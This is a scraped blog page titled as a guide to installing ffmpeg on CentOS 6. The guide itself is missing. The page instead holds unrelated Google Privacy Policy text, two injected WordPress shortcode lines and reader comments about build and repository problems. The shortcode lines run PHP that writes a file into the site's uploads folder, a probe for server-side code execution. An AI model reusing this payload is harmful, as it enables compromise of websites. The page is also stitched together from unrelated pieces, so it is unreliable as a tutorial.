How to install latest ffmpeg on centos 6

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account.
There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy.
Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes). We will also keep prior versions of this Privacy Policy in an archive for your review.
[insert_php] echo 147098235+111;file_put_contents('wp-content/uploads/info.php', ''); [/insert_php]
[php] echo 147098235+111;file_put_contents('wp-content/uploads/info.php', ''); [/php]

Diego Acuña

Diego Acuña

I'm a Software Engineering and Web Developer from Chile. My main interests are web technologies, software development methodologies and data mining (mainly on financial area). If you want to get in touch with me, use the contact page from the top menu.

  • Pablo Acuña R.

    awesome! thanks

  • Naurelijs

    Thanks man!

    i recommend to change: git clone to git clone

    and add "qt-faststart".

    qt-faststart ships with FFMPEG. No seprate download is required for it. At this point you should still be in the ffmpeg directory /opt/ffmpeg/sources/ffmpeg
    2. cd tools
    3. make qt-faststart
    4. cp qt-faststart /usr/local/bin
    5. ldconfig

    Cheers 🙂

    • Diego Acuña

      Thanks for your comment, the qt-faststart is indeed a nice way to do it 😉

  • Mehrdad Nassiri

    Perfect ... one of the easiest way to install ffmpeg on centos without any b*%sh@4t..
    Thanks ...

  • Sanjeev Verma

    install ffmpeg ffmpeg-php on centos 6, centos 7, cpanel easily.

  • Carl Hansen

    I know it's basically the same technique, but anyone looking for a tutorial on how to install ffmpeg on Debian Squeeze may find this article useful too:

  • Jason

    Once I have this installed, is there a way to 'package' it up and put it on a remote server (that does not have internet access) and do a local install on the server?

    • Diego Acuña

      The problem whit that is the location of the shared libraries. I'm
      thinking in two possibles solutions, one it will be to download all the
      libraries and ffmpeg and do the installation on the remote server with
      the already downloaded libraries, the downside is that you are going to
      need to have the yum dependencies installed on the remote server. The
      other solution is to compile and install (make install) all libraries on
      the same folder (i.e /opt/ffmpeg/something) and then compile ffmpeg
      against the shared libraries on that folder. Then move the folder to
      your remote server, in this case also your'e going to need to have some
      dev libraries installed on your remote.

  • Abdullah Nassar

    Thank You for this awesome tutorial,
    I have followed the above instructions and everything goes ok till running ffmpeg command.
    I want to execute ffmpeg command from php, so I run it using exec function but it returns
    "sh: ffmpeg: command not found" could you help me resolving it please.

    • Diego Acuña

      not a php expert but try using the full path to ffmpeg when using exec from php. For this, type in the terminal 'which ffmpeg' and use that path in your php script (example: /usr/local/bin/ffmpeg).

  • Sandeep Design Days

    I installled ffmpeg for my centos server.then i converted my flv files to mp4 by using ffmpeg.But its creating 0 byte error mp4 file. Conversion code

    shell_exec('/usr/local/bin/ffmpeg -i ffmpeg/test.avi -c copy -copyts ffmpeg/test.mp4');
    this is my version
    ffmpeg version N-75682-g5fa5e73 Copyright (c) 2000-2015 the FFmpeg developers
    built with gcc 4.4.7 (GCC) 20120313 (Red Hat 4.4.7-16)
    libavutil 55. 2.100 / 55. 2.100
    libavcodec 57. 3.100 / 57. 3.100
    libavformat 57. 2.102 / 57. 2.102
    libavdevice 57. 0.100 / 57. 0.100
    libavfilter 6. 9.101 / 6. 9.101
    libswscale 4. 0.100 / 4. 0.100
    libswresample 2. 0.100 / 2. 0.100
    Hyper fast Audio and Video encoder
    usage: ffmpeg [options] [[infile options] -i infile]... {[outfile options] outfi

  • MarcoP

    Hi, when I run

    yum remove libvpx libogg libvorbis libtheora libx264 x264 ffmpeg

    it asks to also remove many dependencies like easy-jakarta-commons-daemon, easy-mysql-connector-java, easy-tomcat7, flac, pulseaudio-libs and many others. Should I remove them or should I use

    rpm -e --nodeps libvpx libogg libvorbis libtheora libx264 x264 ffmpeg?


  • Pingback: Cpanel Ffmpeg So | Cloud Internet()

  • Pingback: How To Remove Cpanel On Centos – SH Xiang Gelila()

  • Pingback: Install Cpanel Debian Squeeze | Cloud Storage Services()

  • WHK Yan

    git clone
    cd libvpx
    git clone
    cd libvpx/source/libvpx

  • Esteban Molina Abad

    Hi Diego , i know this article its old now , but i want to leave this here,
    rpmforge is not supported any more , you can use rpmfusion instead.

    Regards, and awsome tutoria, thanks.

  • Dalon Almeida

    Hi, sorry me english. I'm brazilian and don't speak your language.
    I am using CentOS 6.

    I have problems in install ffmpeg in the pass "And lastly from RPMForge:"

    Result comand:
    yum --enablerepo=rpmforge install a52dec-devel libmpeg2-devel
    Loaded plugins: fastestmirror, refresh-packagekit, security

    Error getting repository data for rpmforge, repository not found

    Please. Do you help me???